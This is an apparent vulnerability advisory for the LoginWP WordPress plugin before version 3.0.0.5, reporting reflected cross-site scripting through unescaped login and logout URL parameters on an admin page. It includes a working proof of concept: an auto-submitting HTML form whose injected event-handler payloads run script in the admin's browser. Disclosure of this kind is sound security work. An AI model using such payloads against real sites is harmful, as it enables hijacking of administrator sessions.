WordPress Plugin Vulnerabilities

LoginWP < 3.0.0.5 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the rul_login_url and rul_logout_url parameter before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=loginwp-redirections&new=1" id="hack" method="POST">
      <input type="hidden" name="rul_login_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-login_url/)//' />
      <input type="hidden" name="rul_logout_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-logout_url/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>